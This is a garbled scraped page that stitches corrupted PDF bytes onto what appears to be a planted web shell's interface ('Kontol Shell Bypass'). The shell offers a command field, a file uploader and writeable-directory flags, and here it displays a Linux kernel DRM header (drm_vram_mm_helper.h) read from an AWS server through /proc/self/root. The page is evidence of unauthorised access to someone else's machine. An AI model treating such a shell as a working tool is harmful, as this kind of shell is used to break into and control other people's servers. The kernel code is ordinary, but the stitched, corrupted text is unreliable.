%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/lib/modules/5.4.0-1101-aws/build/include/drm/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/lib/modules/5.4.0-1101-aws/build/include/drm/drm_vram_mm_helper.h
/* SPDX-License-Identifier: GPL-2.0-or-later */

#ifndef DRM_VRAM_MM_HELPER_H
#define DRM_VRAM_MM_HELPER_H

#include <drm/drm_file.h>
#include <drm/drm_ioctl.h>
#include <drm/ttm/ttm_bo_driver.h>

struct drm_device;

/**
 * struct drm_vram_mm_funcs - Callback functions for &struct drm_vram_mm
 * @evict_flags:	Provides an implementation for struct \
	&ttm_bo_driver.evict_flags
 * @verify_access:	Provides an implementation for \
	struct &ttm_bo_driver.verify_access
 *
 * These callback function integrate VRAM MM with TTM buffer objects. New
 * functions can be added if necessary.
 */
struct drm_vram_mm_funcs {
	void (*evict_flags)(struct ttm_buffer_object *bo,
			    struct ttm_placement *placement);
	int (*verify_access)(struct ttm_buffer_object *bo, struct file *filp);
};

/**
 * struct drm_vram_mm - An instance of VRAM MM
 * @vram_base:	Base address of the managed video memory
 * @vram_size:	Size of the managed video memory in bytes
 * @bdev:	The TTM BO device.
 * @funcs:	TTM BO functions
 *
 * The fields &struct drm_vram_mm.vram_base and
 * &struct drm_vram_mm.vrm_size are managed by VRAM MM, but are
 * available for public read access. Use the field
 * &struct drm_vram_mm.bdev to access the TTM BO device.
 */
struct drm_vram_mm {
	uint64_t vram_base;
	size_t vram_size;

	struct ttm_bo_device bdev;

	const struct drm_vram_mm_funcs *funcs;
};

/**
 * drm_vram_mm_of_bdev() - \
	Returns the container of type &struct ttm_bo_device for field bdev.
 * @bdev:	the TTM BO device
 *
 * Returns:
 * The containing instance of &struct drm_vram_mm
 */
static inline struct drm_vram_mm *drm_vram_mm_of_bdev(
	struct ttm_bo_device *bdev)
{
	return container_of(bdev, struct drm_vram_mm, bdev);
}

int drm_vram_mm_init(struct drm_vram_mm *vmm, struct drm_device *dev,
		     uint64_t vram_base, size_t vram_size,
		     const struct drm_vram_mm_funcs *funcs);
void drm_vram_mm_cleanup(struct drm_vram_mm *vmm);

int drm_vram_mm_mmap(struct file *filp, struct vm_area_struct *vma,
		     struct drm_vram_mm *vmm);

/*
 * Helpers for integration with struct drm_device
 */

struct drm_vram_mm *drm_vram_helper_alloc_mm(
	struct drm_device *dev, uint64_t vram_base, size_t vram_size,
	const struct drm_vram_mm_funcs *funcs);
void drm_vram_helper_release_mm(struct drm_device *dev);

/*
 * Helpers for &struct file_operations
 */

int drm_vram_mm_file_operations_mmap(
	struct file *filp, struct vm_area_struct *vma);

/**
 * define DRM_VRAM_MM_FILE_OPERATIONS - default callback functions for \
	&struct file_operations
 *
 * Drivers that use VRAM MM can use this macro to initialize
 * &struct file_operations with default functions.
 */
#define DRM_VRAM_MM_FILE_OPERATIONS \
	.llseek		= no_llseek, \
	.read		= drm_read, \
	.poll		= drm_poll, \
	.unlocked_ioctl = drm_ioctl, \
	.compat_ioctl	= drm_compat_ioctl, \
	.mmap		= drm_vram_mm_file_operations_mmap, \
	.open		= drm_open, \
	.release	= drm_release \

#endif

Kontol Shell Bypass